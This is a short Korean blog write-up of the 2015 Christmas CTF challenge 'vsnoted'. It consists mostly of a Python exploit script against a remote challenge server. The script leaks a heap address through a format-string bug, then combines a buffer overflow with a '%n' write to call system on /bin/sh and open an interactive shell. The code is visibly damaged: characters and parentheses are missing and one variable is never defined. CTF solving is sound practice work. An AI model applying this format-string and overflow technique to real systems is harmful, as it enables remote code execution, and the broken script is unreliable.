본문 바로가기

Write Up

2015 Christmas CTF vsnoted


작년 크리스마스 때 열렸던 크리스마스 CTF vsnoted를 풀어보았다. 그 때 당시에는 풀어볼 엄두도 못냈었는데 이제는 조금 해 볼만 했다. 그리고 포맷스트링은 진짜 할 때 마다 너무 헷갈리는 것 같다. 풀 때는 내 환경의 스택 상황에 맞춰서 익스플로잇을 했는데 과연 이게 실제 대회 때에도 내 환경의 스택과 똑같이 같은 값이 들어있을 지가 의문이다. fsb문제가 나왔을 때 스택을 덤프해 주는 모듈 같은거를 하나 만들어 두어야 할 것 같다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from SunKn0wn import *
 
= remote('5unKn0wn.iptime.org'8282)
 
system_plt = 0x08048910
############ Get heap addr ############
r.recvsend('2')    # login
r.recvsendline('5unKn0wn')
r.recvsendline('superhacker')
 
r.recvsend('1')    # new note
r.recvsendline('8')
r.recvsendline(str(len(binsh_sock)))
r.recvsend('%282$08x')
r.recvsend(binsh_sock)
 
r.recvsend('4')    # logout(fsb)
 
r.recvsend('2')    # (re)login
r.recvsendline('5unKn0wn')
r.recvsendline('superhacker')
 
r.recvsend('2')    # view note
heap_addr = int(r.recvall()[44:52], 16- 0x30    # leak head addr
ret_addr = heap_addr + 0x40
binsh_addr = heap_addr + 0x80
 
print "[!]heap addr : " + str(hex(heap_addr))
print "[!]binsh addr : " + str(hex(binsh_addr))
print "[!]ret-2nd addr : " + str(hex(ret_addr))
############ Exploit ############
r.recvsend('1')    # new note
r.recvsendline('120')
r.recvsendline('25')
r.recvsend('A' * 0x6c + p32(system_plt) + 'AAAA' + p32(binsh_addr))    # bof
r.recvsend('AAAA' + p32(ret_addr) + '%' + str(system_plt - 8+ 'c' + '%293$n')    # fsb(heap)
 
r.recvsend('4')    # logout(fsb)
 
sleep(1)
 
r.interactive()
cs


'Write Up' 카테고리의 다른 글

2016 CodeGate Final GMPQZ  (0) 2016.05.04
2016 CodeGate Final BMP  (0) 2016.05.04
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01